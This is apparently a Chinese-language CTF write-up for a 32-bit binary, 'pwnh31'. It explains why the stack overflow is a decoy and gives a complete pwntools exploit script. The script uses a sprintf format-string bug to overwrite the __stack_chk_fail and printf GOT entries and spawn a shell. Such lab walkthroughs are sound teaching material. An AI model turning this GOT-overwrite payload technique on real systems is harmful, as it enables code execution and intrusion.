首先,检查一下程序的保护机制,发现PIE和RELRO未开启
然后,我们用IDA分析一下,看起来好复杂的样子
发现有溢出和格式化字符串漏洞
首先当然是想到利用格式化字符串漏洞来泄露canary的值
要想执行格式化字符串漏洞,得满足那个if条件
我想了好久,才反应过来,如果有传入格式化的字符串,这个条件就不可能满足。但是
[sprintf不也是一个格式化字符串的吗,这么大的漏洞放这里半天没看见]{.mark}
怎么利用呢?
最开始,想的是怎么来泄露canary的值,然而,我们发现,这个程序根本就不能正常的退出,不管输入什么,最终都是异常终止
怎么回事,我们只输入了3个字符
让我们仔细分析一下程序看看
这个memset有问题,大小设置为0x3e8,这不把canary、ebp、main函数返回地址等等的都给清零了吗
由此想到,这个程序根本不可能正常退出,也不用泄露canary,因为canary一开始就被自己覆盖成0了,最后肯定会[抛出栈异常]{.mark}
现在有没有想法了?
也就是说,[这题的栈溢出是我们的干扰项,真正供我们利用的是sprintf格式化字符串漏洞]{.mark}
抛出栈异常不就是调用___stack_chk_fail函数吗
我们是不是可以利用那个sprintf函数,把___stack_chk_fail的got表内容指向main函数,这样,我们又可以重新回到main函数开始的地方,然后再修改另一个函数的got表,让它指向system,因为system有一个参数,所以我们也找一个有参数的函数 
看看这个printf,很合适啊
当我们第一次在sub_80486D3函数里利用**[sprintf把___stack_chk_fail的GOT指向了main,把printf的GOT指向了system的PLT,那么,第二次,我们回到了main函数,我们这次输入一个正常的字符串”/bin/sh”,那么就调用了printf(“/bin/sh”),也就是调用了system(“/bin/sh”),那么我们就能GET SHELL了。]{.mark}**
首先,我们得到两个地址
1 2
| 1. main_addr = 0x804878D 2. system_plt = 0x8048540
|
我们要把main_addr写入到___stack_chk_fail的GOT,把system_plt写入到printf的GOT,并且需要一次性的完成这两个地方的写入,我们**[先一字节一字节写,然后写printf的GOT时,我们2字节2字节的写]{.mark},并且[根据数据的值从小到大的写入,因为这个一次性写入,输出的字符总数是和前面叠加一起算的]{.mark},**格式化字符串不理解的可以去网上学习学习
1 2 3 4 5 6 7 8 9 10
| 1. 2. 3. payload = 'a%' +str(4-1) + 'c%38$hhn%' + str(8-4) + 'c%39$hhn' 4. payload += '%' + str(0x87-8) + 'c%40$hhn%' + str(0x8D-0x87) + 'c%41$hhn' 5. 6. payload += '%' + str(0x804-0x8D) + 'c%42$hn' 7. payload += '%' + str(0x8540 - 0x804) + 'c%43$hn' 8. payload += p32(__stack_chk_fail_got+2) + p32(__stack_chk_fail_got+3) 9. payload += p32(__stack_chk_fail_got+1) + p32(__stack_chk_fail_got) 10. payload += p32(printf_got+2) + p32(printf_got)
|
这里要说明的是上面**[如何确定地址数据位于的位置,也就是上面%38、%39等这些]{.mark}**,分别对应于p32(__stack_chk_fail_got+2)、p32(__stack_chk_fail_got+3),但这是如何确定的呢?
我们可以先把payload里的那些符号都随便替换掉,然后最后加一个’aaaa’,我们就从%38开始试验,用IDA调试
1 2 3 4 5
| 1. payload = 'aa' +str(4-1) + 'c%38$phnc' + str(8-4) + 'cd19ghhn' 2. payload += 'e' + str(0x87-8) + 'cf20ghhng' + str(0x8D-0x87) + 'cg21ghhn' 3. payload += 'e' + str(0x804-0x8D) + 'cf42xhn' 4. payload += 'e' + str(0x8540 - 0x804) + 'cx43vhn' 5. payload += 'aaaa'
|
当我们试到%38$p时,发现格式化后,那里的数据为0x61616161,正好就是末尾的”aaaa”数据,由此,我们就确定了位置。
综上,我们的exp脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| 1. 2. from pwn import * 3. 4. context.log_level = 'debug' 5. 6. sh = process('./pwnh31') 7. 8. elf = ELF('./pwnh31') 9. main_addr = 0x804878D 10. __stack_chk_fail_got = elf.got['__stack_chk_fail'] 11. printf_got = elf.got['printf'] 12. 13. system_plt = 0x8048540 14. 15. 16. 17. payload = 'a%' +str(4-1) + 'c%38$hhn%' + str(8-4) + 'c%39$hhn' 18. payload += '%' + str(0x87-8) + 'c%40$hhn%' + str(0x8D-0x87) + 'c%41$hhn' 19. 20. payload += '%' + str(0x804-0x8D) + 'c%42$hn' 21. payload += '%' + str(0x8540 - 0x804) + 'c%43$hn' 22. payload += p32(__stack_chk_fail_got+2) + p32(__stack_chk_fail_got+3) 23. payload += p32(__stack_chk_fail_got+1) + p32(__stack_chk_fail_got) 24. payload += p32(printf_got+2) + p32(printf_got) 25. 26. '''''payload = 'aa' +str(4) + 'c%38$phnc' + str(8-4) + 'cd19ghhn' 27. payload += 'e' + str(0x87-8) + 'cf20ghhng' + str(0x8D-0x87) + 'cg21ghhn' 28. payload += 'e' + str(0x804-0x8D) + 'cf42xhn' 29. payload += 'e' + str(0x8540 - 0x804) + 'cx43vhn' 30. payload += 'aaaa' 31. ''' 32. sh.sendline(payload) 33. 34. sh.sendline('/bin/sh') 35. 36. sh.interactive()
|
本题难点在于漏洞的查找,有干扰项
由此,我们还知道了**[绕过canary机制不局限与泄露它,还可以利用格式化字符串漏洞修改___stack_chk_fail的GOT表]{.mark}**